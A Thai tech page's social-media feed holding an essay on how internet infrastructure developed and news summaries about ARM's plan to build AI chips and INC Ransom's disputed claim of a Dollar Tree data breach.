ลุงบ้าคอม

Timeline

Photos

Videos

Reviews

Events

ยินดีต้อนรับสู่เพจของคนรักคอมพิวเตอร์! ที่นี่คือแหล่งรวมข่าวสารและข้อมูลล่าสุดในวงการเทคโนโลยี ไม่ว่าจะเป็นฮาร์ดแวร์ ซอฟต์แวร์ การพัฒนาโปรแกรม และนวัตกรรมใหม่ๆ ที่กำลังเกิดขึ้น เรามุ่งมั่นที่จะนำเสนอเนื้อหาที่มีคุณภาพและเป็นประโยชน์สำหรับทุกคนที่มีความสนใจในโลกของคอมพิวเตอร์และเทคโนโลยี

99 people Following this
4423 Posts
67 Photos
0 Videos
0 Reviews
Science and Technology

Photos

Pinned Post

added a photo

2025-07-29 15:50:38 -

การพัฒนาอินเทอร์เน็ต: จากสายทองแดงสู่ใยแก้ว และไปไกลถึงอวกาศ

ในยุคปัจจุบันที่โลกเชื่อมต่อกันอย่างแนบแน่น การเข้าถึงอินเทอร์เน็ตกลายเป็นปัจจัยสำคัญในการดำรงชีวิต ไม่ว่าจะเป็นการสื่อสาร การทำงาน การเรียนรู้ หรือการเข้าถึงข้อมูลข่าวสาร อินเทอร์เน็ตได้เปลี่ยนแปลงวิถีชีวิตของมนุษย์ในทุกมิติ แต่การเดินทางของเทคโนโลยีนี้ไม่ได้เริ่มต้นจากความล้ำสมัย หากแต่เริ่มจากโครงสร้างพื้นฐานพื้นฐานอย่างสายทองแดง ก่อนจะพัฒนาไปสู่ใยแก้วนำแสง และก้าวข้ามพรมแดนทางภูมิศาสตร์ด้วยอินเทอร์เน็ตผ่านดาวเทียม

จุดเริ่มต้นของอินเทอร์เน็ตย้อนกลับไปในปี 1969 เมื่อกระทรวงกลาโหมของสหรัฐอเมริกาได้พัฒนาโครงการ ARPANET ซึ่งเป็นเครือข่ายแรกที่เชื่อมต่อคอมพิวเตอร์จากหลายสถาบันเข้าด้วยกัน โดยใช้สายโทรศัพท์ทองแดงเป็นโครงข่ายหลัก ความก้าวหน้านี้ได้ปูทางสู่การพัฒนาระบบการสื่อสารผ่านแนวคิดการสลับแพ็กเก็ต ซึ่งเป็นกลไกที่ทำให้ข้อมูลสามารถเดินทางผ่านเครือข่ายได้อย่างยืดหยุ่นและปลอดภัยมากยิ่งขึ้น อย่างไรก็ตาม สายทองแดงเองก็มีข้อจำกัดมากมาย ทั้งในเรื่องของระยะทาง ความเร็ว และความไวต่อสัญญาณรบกวน

ในช่วงทศวรรษที่ 1990 การเชื่อมต่ออินเทอร์เน็ตแบบ Dial-up ได้รับความนิยมอย่างแพร่หลาย โดยอาศัยสายโทรศัพท์ทองแดงร่วมกับโมเด็ม ซึ่งทำหน้าที่แปลงสัญญาณดิจิทัลเป็นอนาล็อก และในทางกลับกัน แม้ว่าจะเป็นการเปิดประตูให้ประชาชนทั่วไปได้สัมผัสกับโลกออนไลน์ แต่ Dial-up ก็เต็มไปด้วยข้อจำกัด ไม่ว่าจะเป็นความเร็วที่ต่ำ การผูกขาดสายโทรศัพท์ระหว่างการใช้งาน หรือการหลุดสัญญาณอย่างสม่ำเสมอ ต่อมาจึงเกิดการพัฒนาเทคโนโลยี DSL (Digital Subscriber Line) ซึ่งสามารถใช้งานโทรศัพท์และอินเทอร์เน็ตได้พร้อมกันบนสายทองแดงเส้นเดียวกัน และให้ความเร็วสูงกว่าอย่างเห็นได้ชัด แม้จะยังอยู่บนโครงข่ายเดิม DSL ก็ช่วยยืดอายุของโครงสร้างพื้นฐานสายทองแดงออกไปได้อีกระยะหนึ่ง

อย่างไรก็ดี พลังของสายทองแดงมีขีดจำกัดทั้งในเชิงฟิสิกส์และเศรษฐศาสตร์ ปริมาณข้อมูลที่สามารถรับส่งได้ต่อวินาทีนั้นมีข้อจำกัดจากระยะทาง ความต้านทาน และความถี่ของสัญญาณ การพยายามเพิ่มความเร็วผ่านสายทองแดงจึงต้องเผชิญกับปัญหาการลดทอนของสัญญาณ และความเสี่ยงต่อการรบกวนจากคลื่นแม่เหล็กไฟฟ้ารอบข้างมากขึ้น ซึ่งไม่สอดคล้องกับความต้องการที่เพิ่มขึ้นแบบทวีคูณของโลกในยุคดิจิทัล

การเปลี่ยนแปลงเชิงโครงสร้างจึงเกิดขึ้น ด้วยการหันมาใช้ใยแก้วนำแสงเป็นสื่อกลางในการส่งข้อมูล ใยแก้วนำแสงใช้พลังงานแสงแทนกระแสไฟฟ้า จึงสามารถส่งข้อมูลได้ด้วยความเร็วสูงมาก มีแบนด์วิดท์กว้าง และไม่ไวต่อคลื่นรบกวนภายนอก หลักการทำงานของใยแก้วนำแสงอาศัยปรากฏการณ์สะท้อนกลับหมด (Total Internal Reflection) ที่ทำให้แสงสามารถวิ่งผ่านเส้นใยแก้วได้ในระยะไกลโดยไม่สูญเสียพลังงานมากนัก ใยแก้วนำแสงไม่เพียงแต่เพิ่มประสิทธิภาพในการเชื่อมต่อ แต่ยังเพิ่มความปลอดภัย และลดต้นทุนในระยะยาวได้อย่างมีนัยสำคัญ

ประโยชน์ของใยแก้วนำแสงเห็นได้ชัดในชีวิตประจำวัน ไม่ว่าจะเป็นการสตรีมวิดีโอความละเอียดสูง การประชุมทางไกล การเรียนรู้ออนไลน์ หรือแม้แต่การเล่นเกมผ่านคลาวด์ ความเร็วที่สูงและความเสถียรของเครือข่ายช่วยให้บริการเหล่านี้ทำงานได้อย่างราบรื่น อีกทั้งยังส่งผลเชิงบวกต่อเศรษฐกิจดิจิทัลที่กำลังเติบโต และเปิดโอกาสใหม่ๆ ในการพัฒนานวัตกรรมและบริการที่อาศัยการรับส่งข้อมูลจำนวนมากแบบเรียลไทม์

แม้ว่าใยแก้วนำแสงจะเป็นโซลูชันที่ดูจะ “พร้อมสำหรับอนาคต” แต่ในทางปฏิบัติ การติดตั้งโครงข่ายนี้ยังคงเผชิญกับความท้าทายมากมาย โดยเฉพาะปัญหาในช่วง Last Mile หรือการเชื่อมโยงใยแก้วนำแสงจากสายหลักเข้าสู่บ้านและธุรกิจแต่ละหลัง ซึ่งมักมีต้นทุนสูง ใช้แรงงานผู้เชี่ยวชาญ และต้องอาศัยการวางแผนโครงข่ายอย่างรอบคอบ ความซับซ้อนนี้ทำให้ชุมชนชนบทหรือพื้นที่ห่างไกลถูกมองข้าม จนนำไปสู่ “ช่องว่างทางดิจิทัล” ที่ยังคงปรากฏอยู่ในหลายภูมิภาค

เพื่อเติมเต็มช่องว่างดังกล่าว เทคโนโลยีอินเทอร์เน็ตผ่านดาวเทียมได้ถูกพัฒนาขึ้น โดยเฉพาะดาวเทียมในวงโคจรต่ำ (LEO) อย่าง Starlink ที่ให้เวลาแฝงต่ำและความเร็วสูงกว่าเทคโนโลยีดาวเทียมรุ่นก่อน แม้จะมีข้อจำกัดด้านต้นทุนและความไวต่อสภาพอากาศ แต่การเข้าถึงที่ครอบคลุมทุกพื้นที่ของดาวเทียมได้สร้างความหวังใหม่สำหรับประชากรที่เคยอยู่นอกขอบเขตของโครงสร้างพื้นฐานแบบมีสาย

อนาคตของการเชื่อมต่อไม่ได้หยุดอยู่แค่ใยแก้วนำแสงหรือดาวเทียม ปัจจุบันมีการวิจัยและพัฒนาเทคโนโลยีล้ำหน้า เช่น Wavelength Division Multiplexing (WDM) ที่ช่วยให้สามารถส่งข้อมูลหลายชุดพร้อมกันในเส้นใยเส้นเดียว หรือ Hollow Core Fiber ที่นำแสงวิ่งผ่านอากาศแทนแกนแก้ว เพิ่มความเร็วและลดเวลาแฝง นอกจากนี้ยังมีแนวคิดอินเทอร์เน็ตควอนตัม (Quantum Internet) ที่ใช้หลักกลศาสตร์ควอนตัมในการสร้างระบบเครือข่ายที่ปลอดภัยและมีประสิทธิภาพสูงสุด

สรุปได้ว่าการพัฒนาโครงสร้างพื้นฐานของอินเทอร์เน็ตไม่ใช่เพียงเรื่องของเทคโนโลยี แต่เป็นปัจจัยสำคัญที่ขับเคลื่อนการพัฒนาทางเศรษฐกิจ สังคม และคุณภาพชีวิตของผู้คนทั่วโลก อินเทอร์เน็ตที่เร็วขึ้นและเชื่อถือได้มากขึ้น หมายถึงโอกาสที่เปิดกว้างมากขึ้นเช่นกัน การลงทุนในเทคโนโลยีที่ยั่งยืนจึงไม่ใช่เพียงทางเลือก แต่เป็นความจำเป็นสำหรับอนาคตที่เชื่อมโยงกันมากยิ่งขึ้นในทุกมิติ

#ลุงเขียนหลานอ่าน

🌐 การพัฒนาอินเทอร์เน็ต: จากสายทองแดงสู่ใยแก้ว และไปไกลถึงอวกาศ 🌏 ในยุคปัจจุบันที่โลกเชื่อมต่อกันอย่างแนบแน่น การเข้าถึงอินเทอร์เน็ตกลายเป็นปัจจัยสำคัญในการดำรงชีวิต ไม่ว่าจะเป็นการสื่อสาร การทำงาน การเรียนรู้ หรือการเข้าถึงข้อมูลข่าวสาร อินเทอร์เน็ตได้เปลี่ยนแปลงวิถีชีวิตของมนุษย์ในทุกมิติ แต่การเดินทางของเทคโนโลยีนี้ไม่ได้เริ่มต้นจากความล้ำสมัย หากแต่เริ่มจากโครงสร้างพื้นฐานพื้นฐานอย่างสายทองแดง ก่อนจะพัฒนาไปสู่ใยแก้วนำแสง และก้าวข้ามพรมแดนทางภูมิศาสตร์ด้วยอินเทอร์เน็ตผ่านดาวเทียม 📞 จุดเริ่มต้นของอินเทอร์เน็ตย้อนกลับไปในปี 1969 เมื่อกระทรวงกลาโหมของสหรัฐอเมริกาได้พัฒนาโครงการ ARPANET ซึ่งเป็นเครือข่ายแรกที่เชื่อมต่อคอมพิวเตอร์จากหลายสถาบันเข้าด้วยกัน โดยใช้สายโทรศัพท์ทองแดงเป็นโครงข่ายหลัก ความก้าวหน้านี้ได้ปูทางสู่การพัฒนาระบบการสื่อสารผ่านแนวคิดการสลับแพ็กเก็ต ซึ่งเป็นกลไกที่ทำให้ข้อมูลสามารถเดินทางผ่านเครือข่ายได้อย่างยืดหยุ่นและปลอดภัยมากยิ่งขึ้น อย่างไรก็ตาม สายทองแดงเองก็มีข้อจำกัดมากมาย ทั้งในเรื่องของระยะทาง ความเร็ว และความไวต่อสัญญาณรบกวน 🧭 ในช่วงทศวรรษที่ 1990 การเชื่อมต่ออินเทอร์เน็ตแบบ Dial-up ได้รับความนิยมอย่างแพร่หลาย โดยอาศัยสายโทรศัพท์ทองแดงร่วมกับโมเด็ม ซึ่งทำหน้าที่แปลงสัญญาณดิจิทัลเป็นอนาล็อก และในทางกลับกัน แม้ว่าจะเป็นการเปิดประตูให้ประชาชนทั่วไปได้สัมผัสกับโลกออนไลน์ แต่ Dial-up ก็เต็มไปด้วยข้อจำกัด ไม่ว่าจะเป็นความเร็วที่ต่ำ การผูกขาดสายโทรศัพท์ระหว่างการใช้งาน หรือการหลุดสัญญาณอย่างสม่ำเสมอ ต่อมาจึงเกิดการพัฒนาเทคโนโลยี DSL (Digital Subscriber Line) ซึ่งสามารถใช้งานโทรศัพท์และอินเทอร์เน็ตได้พร้อมกันบนสายทองแดงเส้นเดียวกัน และให้ความเร็วสูงกว่าอย่างเห็นได้ชัด แม้จะยังอยู่บนโครงข่ายเดิม DSL ก็ช่วยยืดอายุของโครงสร้างพื้นฐานสายทองแดงออกไปได้อีกระยะหนึ่ง ⚠️ อย่างไรก็ดี พลังของสายทองแดงมีขีดจำกัดทั้งในเชิงฟิสิกส์และเศรษฐศาสตร์ ปริมาณข้อมูลที่สามารถรับส่งได้ต่อวินาทีนั้นมีข้อจำกัดจากระยะทาง ความต้านทาน และความถี่ของสัญญาณ การพยายามเพิ่มความเร็วผ่านสายทองแดงจึงต้องเผชิญกับปัญหาการลดทอนของสัญญาณ และความเสี่ยงต่อการรบกวนจากคลื่นแม่เหล็กไฟฟ้ารอบข้างมากขึ้น ซึ่งไม่สอดคล้องกับความต้องการที่เพิ่มขึ้นแบบทวีคูณของโลกในยุคดิจิทัล 💡 การเปลี่ยนแปลงเชิงโครงสร้างจึงเกิดขึ้น ด้วยการหันมาใช้ใยแก้วนำแสงเป็นสื่อกลางในการส่งข้อมูล ใยแก้วนำแสงใช้พลังงานแสงแทนกระแสไฟฟ้า จึงสามารถส่งข้อมูลได้ด้วยความเร็วสูงมาก มีแบนด์วิดท์กว้าง และไม่ไวต่อคลื่นรบกวนภายนอก หลักการทำงานของใยแก้วนำแสงอาศัยปรากฏการณ์สะท้อนกลับหมด (Total Internal Reflection) ที่ทำให้แสงสามารถวิ่งผ่านเส้นใยแก้วได้ในระยะไกลโดยไม่สูญเสียพลังงานมากนัก ใยแก้วนำแสงไม่เพียงแต่เพิ่มประสิทธิภาพในการเชื่อมต่อ แต่ยังเพิ่มความปลอดภัย และลดต้นทุนในระยะยาวได้อย่างมีนัยสำคัญ 📺 ประโยชน์ของใยแก้วนำแสงเห็นได้ชัดในชีวิตประจำวัน ไม่ว่าจะเป็นการสตรีมวิดีโอความละเอียดสูง การประชุมทางไกล การเรียนรู้ออนไลน์ หรือแม้แต่การเล่นเกมผ่านคลาวด์ ความเร็วที่สูงและความเสถียรของเครือข่ายช่วยให้บริการเหล่านี้ทำงานได้อย่างราบรื่น อีกทั้งยังส่งผลเชิงบวกต่อเศรษฐกิจดิจิทัลที่กำลังเติบโต และเปิดโอกาสใหม่ๆ ในการพัฒนานวัตกรรมและบริการที่อาศัยการรับส่งข้อมูลจำนวนมากแบบเรียลไทม์ 🚧 แม้ว่าใยแก้วนำแสงจะเป็นโซลูชันที่ดูจะ “พร้อมสำหรับอนาคต” แต่ในทางปฏิบัติ การติดตั้งโครงข่ายนี้ยังคงเผชิญกับความท้าทายมากมาย โดยเฉพาะปัญหาในช่วง Last Mile หรือการเชื่อมโยงใยแก้วนำแสงจากสายหลักเข้าสู่บ้านและธุรกิจแต่ละหลัง ซึ่งมักมีต้นทุนสูง ใช้แรงงานผู้เชี่ยวชาญ และต้องอาศัยการวางแผนโครงข่ายอย่างรอบคอบ ความซับซ้อนนี้ทำให้ชุมชนชนบทหรือพื้นที่ห่างไกลถูกมองข้าม จนนำไปสู่ “ช่องว่างทางดิจิทัล” ที่ยังคงปรากฏอยู่ในหลายภูมิภาค 🛰️ เพื่อเติมเต็มช่องว่างดังกล่าว เทคโนโลยีอินเทอร์เน็ตผ่านดาวเทียมได้ถูกพัฒนาขึ้น โดยเฉพาะดาวเทียมในวงโคจรต่ำ (LEO) อย่าง Starlink ที่ให้เวลาแฝงต่ำและความเร็วสูงกว่าเทคโนโลยีดาวเทียมรุ่นก่อน แม้จะมีข้อจำกัดด้านต้นทุนและความไวต่อสภาพอากาศ แต่การเข้าถึงที่ครอบคลุมทุกพื้นที่ของดาวเทียมได้สร้างความหวังใหม่สำหรับประชากรที่เคยอยู่นอกขอบเขตของโครงสร้างพื้นฐานแบบมีสาย 🔭 อนาคตของการเชื่อมต่อไม่ได้หยุดอยู่แค่ใยแก้วนำแสงหรือดาวเทียม ปัจจุบันมีการวิจัยและพัฒนาเทคโนโลยีล้ำหน้า เช่น Wavelength Division Multiplexing (WDM) ที่ช่วยให้สามารถส่งข้อมูลหลายชุดพร้อมกันในเส้นใยเส้นเดียว หรือ Hollow Core Fiber ที่นำแสงวิ่งผ่านอากาศแทนแกนแก้ว เพิ่มความเร็วและลดเวลาแฝง นอกจากนี้ยังมีแนวคิดอินเทอร์เน็ตควอนตัม (Quantum Internet) ที่ใช้หลักกลศาสตร์ควอนตัมในการสร้างระบบเครือข่ายที่ปลอดภัยและมีประสิทธิภาพสูงสุด 📌 สรุปได้ว่าการพัฒนาโครงสร้างพื้นฐานของอินเทอร์เน็ตไม่ใช่เพียงเรื่องของเทคโนโลยี แต่เป็นปัจจัยสำคัญที่ขับเคลื่อนการพัฒนาทางเศรษฐกิจ สังคม และคุณภาพชีวิตของผู้คนทั่วโลก อินเทอร์เน็ตที่เร็วขึ้นและเชื่อถือได้มากขึ้น หมายถึงโอกาสที่เปิดกว้างมากขึ้นเช่นกัน การลงทุนในเทคโนโลยีที่ยั่งยืนจึงไม่ใช่เพียงทางเลือก แต่เป็นความจำเป็นสำหรับอนาคตที่เชื่อมโยงกันมากยิ่งขึ้นในทุกมิติ #ลุงเขียนหลานอ่าน

1 Comments 0 Shares 123 Views 0 Reviews

Recent Updates

ลุงบ้าคอม shared a link
2025-08-01 02:54:12 -

เรื่องเล่าจากข่าว: ARM พลิกเกมจากเบื้องหลังสู่เวทีหน้าในตลาด AI

ARM เคยเป็นผู้ให้สิทธิ์ใช้งานสถาปัตยกรรม CPU ให้กับบริษัทต่างๆ เช่น Apple, Qualcomm, NVIDIA และ AWS โดยไม่ผลิตชิปเอง แต่ในปี 2025 ARM ประกาศแผนใหม่—จะพัฒนา “Full-End Solutions” ด้วยตัวเอง ตั้งแต่ชิปเล็ก (chiplet) ไปจนถึงระบบคอมพิวเตอร์ครบชุด เพื่อรองรับความต้องการด้าน AI ที่เติบโตอย่างรวดเร็ว

CEO ของ ARM, Rene Haas เผยว่า “เราไม่ใช่แค่จะออกแบบ แต่จะสร้างจริง” ซึ่งหมายถึงการลงทุนมหาศาลใน R&D การเลือกโรงงานผลิต และการจัดจำหน่าย ซึ่งอาจมีค่าใช้จ่ายสูงถึง $500 ล้านต่อชิปหนึ่งตัว

แม้จะเสี่ยงต่อการสูญเสียลูกค้าเดิมที่อาจมองว่า ARM กลายเป็นคู่แข่ง แต่ ARM ก็มีจุดแข็งจากประสบการณ์และการยอมรับในตลาด โดยเฉพาะในกลุ่ม hyperscaler เช่น AWS, Google, Microsoft ที่ใช้ชิป Neoverse ของ ARM ในระบบ AI ของตน

ARM เตรียมพัฒนา Full-End Solutions สำหรับตลาด AI
รวมถึง chiplets, บอร์ด, และระบบคอมพิวเตอร์ครบชุด
เปลี่ยนจากโมเดล IP licensing ไปสู่การผลิตจริง

CEO Rene Haas ยืนยันการลงทุนใน R&D และการสร้างชิปเอง
อาจมีค่าใช้จ่ายสูงถึง $500 ล้านต่อชิป
ต้องเลือกโรงงานผลิตและจัดจำหน่ายเอง

ARM มีฐานลูกค้าในตลาด AI ที่เติบโตอย่างรวดเร็ว
Neoverse CPU ถูกใช้ใน AWS Graviton, Google Axion, Microsoft Cobalt
คาดว่า 50% ของ CPU ใน data center จะใช้สถาปัตยกรรม ARM ภายในปีนี้

SoftBank เป็นผู้ถือหุ้นใหญ่ของ ARM และมีประวัติการลงทุนในโครงการเสี่ยง
เพิ่มความมั่นใจในการสนับสนุนแผนใหม่ของ ARM
เคยลงทุนหลายพันล้านในเทคโนโลยีล้ำสมัย

ARM ไม่ได้ตั้งใจเป็นผู้ผลิตชิปเต็มรูปแบบ แต่จะสร้าง prototype เพื่อเร่งนวัตกรรมของลูกค้า
ใช้เป็นตัวอย่างเพื่อช่วยลูกค้าออกแบบชิปเฉพาะทาง
เน้นตลาด AI inference และ data center

https://wccftech.com/arm-is-reportedly-exploring-full-end-solutions-for-the-ai-market/

🎙️ เรื่องเล่าจากข่าว: ARM พลิกเกมจากเบื้องหลังสู่เวทีหน้าในตลาด AI ARM เคยเป็นผู้ให้สิทธิ์ใช้งานสถาปัตยกรรม CPU ให้กับบริษัทต่างๆ เช่น Apple, Qualcomm, NVIDIA และ AWS โดยไม่ผลิตชิปเอง แต่ในปี 2025 ARM ประกาศแผนใหม่—จะพัฒนา “Full-End Solutions” ด้วยตัวเอง ตั้งแต่ชิปเล็ก (chiplet) ไปจนถึงระบบคอมพิวเตอร์ครบชุด เพื่อรองรับความต้องการด้าน AI ที่เติบโตอย่างรวดเร็ว CEO ของ ARM, Rene Haas เผยว่า “เราไม่ใช่แค่จะออกแบบ แต่จะสร้างจริง” ซึ่งหมายถึงการลงทุนมหาศาลใน R&D การเลือกโรงงานผลิต และการจัดจำหน่าย ซึ่งอาจมีค่าใช้จ่ายสูงถึง $500 ล้านต่อชิปหนึ่งตัว แม้จะเสี่ยงต่อการสูญเสียลูกค้าเดิมที่อาจมองว่า ARM กลายเป็นคู่แข่ง แต่ ARM ก็มีจุดแข็งจากประสบการณ์และการยอมรับในตลาด โดยเฉพาะในกลุ่ม hyperscaler เช่น AWS, Google, Microsoft ที่ใช้ชิป Neoverse ของ ARM ในระบบ AI ของตน ✅ ARM เตรียมพัฒนา Full-End Solutions สำหรับตลาด AI ➡️ รวมถึง chiplets, บอร์ด, และระบบคอมพิวเตอร์ครบชุด ➡️ เปลี่ยนจากโมเดล IP licensing ไปสู่การผลิตจริง ✅ CEO Rene Haas ยืนยันการลงทุนใน R&D และการสร้างชิปเอง ➡️ อาจมีค่าใช้จ่ายสูงถึง $500 ล้านต่อชิป ➡️ ต้องเลือกโรงงานผลิตและจัดจำหน่ายเอง ✅ ARM มีฐานลูกค้าในตลาด AI ที่เติบโตอย่างรวดเร็ว ➡️ Neoverse CPU ถูกใช้ใน AWS Graviton, Google Axion, Microsoft Cobalt ➡️ คาดว่า 50% ของ CPU ใน data center จะใช้สถาปัตยกรรม ARM ภายในปีนี้ ✅ SoftBank เป็นผู้ถือหุ้นใหญ่ของ ARM และมีประวัติการลงทุนในโครงการเสี่ยง ➡️ เพิ่มความมั่นใจในการสนับสนุนแผนใหม่ของ ARM ➡️ เคยลงทุนหลายพันล้านในเทคโนโลยีล้ำสมัย ✅ ARM ไม่ได้ตั้งใจเป็นผู้ผลิตชิปเต็มรูปแบบ แต่จะสร้าง prototype เพื่อเร่งนวัตกรรมของลูกค้า ➡️ ใช้เป็นตัวอย่างเพื่อช่วยลูกค้าออกแบบชิปเฉพาะทาง ➡️ เน้นตลาด AI inference และ data center https://wccftech.com/arm-is-reportedly-exploring-full-end-solutions-for-the-ai-market/

WCCFTECH.COM

ARM Is Reportedly Exploring "Full-End" Solutions for the AI Market, Marking a Major Pivot from CPU IP Licensing to Competing with Mainstream Players Like AMD & Intel
ARM is expected to make a pivot towards full-end solutions for its customers, creating its own chips to compete with Intel and AMD.

0 Comments 0 Shares 60 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:52:54 -

เรื่องเล่าจากข่าว: Dollar Tree ปฏิเสธการถูกแฮก—แต่ข้อมูลที่หลุดอาจมาจากอดีตคู่แข่งที่ล้มละลาย

INC Ransom ซึ่งเป็นกลุ่มแรนซัมแวร์ที่มีประวัติการโจมตีองค์กรทั่วโลก ได้โพสต์ชื่อ Dollar Tree บนเว็บไซต์ของตน พร้อมอ้างว่าได้ขโมยข้อมูลกว่า 1.2TB ซึ่งรวมถึงเอกสารสำคัญและข้อมูลส่วนบุคคล เช่น สแกนหนังสือเดินทาง และขู่ว่าจะเปิดเผยหากไม่จ่ายค่าไถ่

แต่ Dollar Tree ออกแถลงการณ์ปฏิเสธทันที โดยระบุว่า “ข้อมูลที่หลุดนั้นเป็นของ 99 Cents Only” ซึ่งเป็นบริษัทคู่แข่งที่ล้มละลายไปในปี 2024 และ Dollar Tree ได้ซื้อสิทธิ์การเช่าอาคารบางแห่งมาเปิดร้านใหม่เท่านั้น ไม่ได้ซื้อระบบหรือฐานข้อมูลของบริษัทนั้นแต่อย่างใด

99 Cents Only ปิดกิจการทั้งหมด 371 สาขา และไม่มีช่องทางติดต่อแล้ว ทำให้ไม่สามารถยืนยันข้อมูลจากฝั่งนั้นได้ ขณะที่ Dollar Tree ยืนยันว่า “ไม่มีการเจาะระบบของเรา” และ “ไม่มีการซื้อข้อมูลหรือระบบจาก 99 Cents Only”

INC Ransom อ้างว่าเจาะระบบ Dollar Tree และขโมยข้อมูล 1.2TB
รวมถึงข้อมูลส่วนบุคคล เช่น สแกนหนังสือเดินทาง
ขู่ว่าจะเปิดเผยข้อมูลหากไม่จ่ายค่าไถ่

Dollar Tree ปฏิเสธการถูกแฮก และระบุว่าข้อมูลนั้นเป็นของ 99 Cents Only
บริษัทคู่แข่งที่ล้มละลายไปในปี 2024
Dollar Tree ซื้อแค่สิทธิ์การเช่าอาคาร ไม่ได้ซื้อระบบหรือข้อมูล

99 Cents Only ปิดกิจการทั้งหมด 371 สาขา และไม่มีช่องทางติดต่อแล้ว
Dollar Tree เปิดร้านใหม่ในอาคารเดิม 170 แห่ง
ไม่มีการรวมระบบหรือฐานข้อมูลของบริษัทเดิม

Dollar Tree เป็นบริษัทค้าปลีกขนาดใหญ่ มีรายได้กว่า $17.6 พันล้านในปี 2024
มีสาขากว่า 15,000 แห่งในสหรัฐฯ และแคนาดา
มีพนักงานมากกว่า 65,000 คน

INC Ransom เป็นกลุ่มแรนซัมแวร์แบบ multi-extortion ที่โจมตีองค์กรทั่วโลก
เคยโจมตีองค์กรในภาครัฐ การศึกษา และสุขภาพ
ใช้เทคนิคขู่เปิดเผยข้อมูลเพื่อเรียกค่าไถ่

99 Cents Only ยื่นล้มละลายในเดือนเมษายน 2024 จากผลกระทบของเงินเฟ้อ โควิด และการแข่งขันที่รุนแรง
ปิดกิจการทั้งหมดภายในกลางปี 2024
เป็นหนึ่งในบริษัทค้าปลีกที่ล้มละลายจากภาวะเศรษฐกิจ

INC Ransom เคยโจมตีองค์กรระดับสูง เช่น Stark AeroSpace และ Xerox Corporation
ไม่เลือกเป้าหมายเฉพาะเจาะจง
มีเหยื่อมากกว่า 200 รายในช่วง 12 เดือนที่ผ่านมา

การโจมตีแบบ multi-extortion คือการขโมยข้อมูล + ขู่เปิดเผย + เรียกค่าไถ่ เป็นรูปแบบที่เพิ่มแรงกดดันให้เหยื่อยอมจ่าย ต้องมีระบบป้องกันและแผนตอบสนองที่ชัดเจน

การซื้อกิจการหรือทรัพย์สินจากบริษัทที่ล้มละลายต้องมีการตรวจสอบความปลอดภัยของข้อมูลอย่างเข้มงวด
ไม่ใช่แค่ตรวจสอบทรัพย์สินทางกายภาพ แต่ต้องรวมถึงระบบดิจิทัล
ควรมีการล้างข้อมูลและ audit ก่อนนำมาใช้งาน

แม้ Dollar Tree จะไม่ถูกเจาะโดยตรง แต่ข้อมูลจาก 99 Cents Only อาจมีความเกี่ยวข้องกับลูกค้าเดิมหรือพนักงานที่ยังมีผลกระทบ
หากข้อมูลนั้นยังมีความเชื่อมโยงกับระบบที่ Dollar Tree ใช้ อาจเกิดความเสี่ยง
ต้องตรวจสอบว่าไม่มีการนำข้อมูลเดิมมาใช้ซ้ำในระบบใหม่

การซื้อสิทธิ์เช่าอาคารโดยไม่ซื้อระบบ ไม่ได้หมายความว่าข้อมูลจะปลอดภัยเสมอไป
หากมีการโอนอุปกรณ์หรือเซิร์ฟเวอร์โดยไม่ได้ล้างข้อมูล อาจเกิดการรั่วไหล
ต้องมีการตรวจสอบทรัพย์สินดิจิทัลอย่างละเอียดก่อนนำมาใช้งาน

การปฏิเสธการถูกแฮกอาจไม่เพียงพอ หากไม่มีการตรวจสอบระบบอย่างโปร่งใส
ควรมีการเปิดเผยผลการตรวจสอบจากผู้เชี่ยวชาญภายนอก
เพื่อสร้างความเชื่อมั่นให้กับลูกค้าและพันธมิตร

การโจมตีแบบ multi-extortion ของ INC Ransom อาจยังดำเนินต่อไป แม้บริษัทจะไม่จ่ายค่าไถ่
ข้อมูลอาจถูกเปิดเผยในอนาคตเพื่อกดดันเพิ่มเติม
ต้องเตรียมแผนรับมือด้านสื่อและกฎหมายล่วงหน้า

https://www.techradar.com/pro/security/dollar-tree-denies-data-breach-says-hacker-targeted-its-rival-instead

🎙️ เรื่องเล่าจากข่าว: Dollar Tree ปฏิเสธการถูกแฮก—แต่ข้อมูลที่หลุดอาจมาจากอดีตคู่แข่งที่ล้มละลาย INC Ransom ซึ่งเป็นกลุ่มแรนซัมแวร์ที่มีประวัติการโจมตีองค์กรทั่วโลก ได้โพสต์ชื่อ Dollar Tree บนเว็บไซต์ของตน พร้อมอ้างว่าได้ขโมยข้อมูลกว่า 1.2TB ซึ่งรวมถึงเอกสารสำคัญและข้อมูลส่วนบุคคล เช่น สแกนหนังสือเดินทาง และขู่ว่าจะเปิดเผยหากไม่จ่ายค่าไถ่ แต่ Dollar Tree ออกแถลงการณ์ปฏิเสธทันที โดยระบุว่า “ข้อมูลที่หลุดนั้นเป็นของ 99 Cents Only” ซึ่งเป็นบริษัทคู่แข่งที่ล้มละลายไปในปี 2024 และ Dollar Tree ได้ซื้อสิทธิ์การเช่าอาคารบางแห่งมาเปิดร้านใหม่เท่านั้น ไม่ได้ซื้อระบบหรือฐานข้อมูลของบริษัทนั้นแต่อย่างใด 99 Cents Only ปิดกิจการทั้งหมด 371 สาขา และไม่มีช่องทางติดต่อแล้ว ทำให้ไม่สามารถยืนยันข้อมูลจากฝั่งนั้นได้ ขณะที่ Dollar Tree ยืนยันว่า “ไม่มีการเจาะระบบของเรา” และ “ไม่มีการซื้อข้อมูลหรือระบบจาก 99 Cents Only” ✅ INC Ransom อ้างว่าเจาะระบบ Dollar Tree และขโมยข้อมูล 1.2TB ➡️ รวมถึงข้อมูลส่วนบุคคล เช่น สแกนหนังสือเดินทาง ➡️ ขู่ว่าจะเปิดเผยข้อมูลหากไม่จ่ายค่าไถ่ ✅ Dollar Tree ปฏิเสธการถูกแฮก และระบุว่าข้อมูลนั้นเป็นของ 99 Cents Only ➡️ บริษัทคู่แข่งที่ล้มละลายไปในปี 2024 ➡️ Dollar Tree ซื้อแค่สิทธิ์การเช่าอาคาร ไม่ได้ซื้อระบบหรือข้อมูล ✅ 99 Cents Only ปิดกิจการทั้งหมด 371 สาขา และไม่มีช่องทางติดต่อแล้ว ➡️ Dollar Tree เปิดร้านใหม่ในอาคารเดิม 170 แห่ง ➡️ ไม่มีการรวมระบบหรือฐานข้อมูลของบริษัทเดิม ✅ Dollar Tree เป็นบริษัทค้าปลีกขนาดใหญ่ มีรายได้กว่า $17.6 พันล้านในปี 2024 ➡️ มีสาขากว่า 15,000 แห่งในสหรัฐฯ และแคนาดา ➡️ มีพนักงานมากกว่า 65,000 คน ✅ INC Ransom เป็นกลุ่มแรนซัมแวร์แบบ multi-extortion 